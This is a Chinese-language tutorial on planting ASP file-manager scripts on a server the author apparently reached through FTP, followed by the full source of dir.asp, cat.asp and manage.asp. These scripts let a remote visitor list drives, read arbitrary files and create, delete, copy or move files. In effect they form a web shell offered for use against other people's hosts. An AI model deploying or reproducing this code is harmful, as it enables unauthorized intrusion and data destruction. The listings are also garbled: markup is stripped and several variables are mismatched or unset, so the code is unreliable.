ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.htm和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码在本文最后。
不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。
首先将写好的文件上传至ftp://202.192.*.*,然后通过访问http://202.192.*.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数,就可以看到不同分区的信息。
接下来就是执行http://202.192.*.*/manage.htm 了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。
现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!
各文件源代码
dir.asp
<% @language="vbscript"%>
<%
spp=request.querystring("pp")
'physical path
sup=request.querystring("up")
'url path
mode=request.querystring("mode")
if spp & "" = "" then spp=getpp
if sup & "" = "" then sup=getup
result =dir(spp,sup)
function dir(byval spp,byval sup)
if right(spp,1) <> "\" then spp=spp&"\"
if right(sup,1) <> "/" then sup=sup&"/"
response.write "Index of "&spp&"
"
set fso=CreateObject("Scripting.filesystemobject")
set f=fso.getfolder(spp)
set fc=f.files
set ff=f.subfolders
response.write ""
if mode="drivers" then
set dc=fso.drives
for each d in dc
response.write " | "
response.write ""&d.DriveLetter &":\" &d.DriveType &"
| "
next
set dc=nothing
else
'set parent folder
if right(spp,2)=":\" then
response.write "drive list
"
else
response.write "
td>"
response.write " | parent directory>
| "
end if
for each f in ff
response.write "
td>"
response.write ""&f.name&"\ | "
next
for each f in fc
response.write " | "
response.write ""&f.name&"
| "
next
end if
set ff=nothing
set fso=nothing
set f=nothing
set fc=nothing
end function
function pardir(byval s,byval slash)
pardir=""
if s & ""="" then exit function
s=left(s,len(s)-1)
do while true
c=right(s,1)
if c = ":" then exit do
if c <> slash then
if len(s) <=0 then exit do
s=left(s,len(s)-1)
else
exit do
end if
loop
pardir=s
end function
function image(byval sname)
dim stype: stype=gettype(sname)
image=""
select case stype
case ".htm"
image=image &"sub_2.gif"
case ".html"
image=image &"sub_2.gif"
case ".bak"
image=image &"sub_2.gif"
case ".BAK"
image=image &"sub_2.gif"
case ".gif"
case ".GIF"
image=image &"sub_2.gif"
case ".jpg"
case ".JPG"
image=image &"sub_2.gif"
case ".jpeg"
case ".JPEG"
image=image &"sub_2.gif"
case ".bmp"
image=image &"sub_2.gif"
case ".BMP"
image=image &"sub_2.gif"
case ".txt"
image=image &"sub_2.gif"
case else
image=image &"sub_2.gif"
end select
end function
function getpp 'physical path
dim s
s=request.servervariables("path_translated")
do while true
if instr(s,"\") then
if right(s,1)="\" then exit do
s=left(s,len(s)-1)
else
exit do
end if
loop
getup="http://"&s
end function
function gettype(byval s) 'get file type
do while true
if instr(s,".") then
if left(s,1)="." then exit do
s=right(s,len(s)-1)
else
gettype=""
exit do
end if
loop
gettype=s
end function
%>
cat.asp
<%
response.contenttype="text/plain"
file=request.querystring("file")
if file="" then
response.write "请输入要看的文件名:http://xxx/cat.asp?file=c:\autoexec.
bat"
else
set fsFilesys=CreateObject("Scripting.FileSystemObject")
set tsCoffee=fsFilesys.OpenTextFile(file)
response.write tscoffee.Readall
tsCoffee.close
set fsFilesys=nothing
set tsCoffee=nothing
end if
%>
manage.htm
New Page 1
文件在线管理系统 |
复制文件 |
|
复制目录 |
|
建立文件 |
|
删除文件 |
|
建立目录 |
|
删除目录 |
|
移动文件 |
|
移动目录 |
|
|
|
manage.asp
<%@ LANGUAGE="VBScript" %>
<% ca = request.querystring("T1")
cb = request.querystring("T2")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(cf) Then
fso.CopyFile ca, cb, True
Response.Write "已被复制到"
Else
Response.Write "不存在,复制失败 !"
End If
Set fso = Server.CreateObject("Scripting.FileSystemObject")
cf = request.querystring("T3")
ct = request.querystring("T4")
fso.CopyFolder cf, ct, True
Response.Write "已将 目录复制到 目录了 !"
fp = request.querystring("T5")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
Set tso = fso.CreateTextFile(fp, True, False)
tso.Close
Response.Write "newdata.txt 已建立"
fp1 = request.querystring("T6")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(fp1) Then
fso.DeleteFile fp1, True
Response.Write "newdata.txt 已删除"
Else
Response.Write "newdata.txt 不存在"
End If
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fp2 = fso.BuildPath(request.querystring("T7"), request.querystring("T8"))
Set fod = fso.CreateFolder(fp2)
Response.Write "主目录下已建立好名为 subfolder 的子目录"
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fp3 = fso.BuildPath(request.querystring("T9"), request.querystring("T10")
)
fso.DeleteFolder fp3, True
Response.Write "主目录下已删除名为 subfolder 的子目录"
mf = request.querystring("T11")
mt = request.querystring("T12")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
If fso.FileExists(mf) Then
fso.MoveFile mf, mt
Response.Write "movefrom.txt 已被移动到 moveto.txt"
Else
Response.Write "movefrom.txt 不存在,移动失败"
End If
mf1 = request.querystring("T13")
mt1 = request.querystring("T14")
Set fso = Server.CreateObject("Scripting.FileSystemObject")
fso.MoveFolder mf1, mt1
Response.Write "已将subfolder 目录移动到 moveto 目录了 !"
%>
|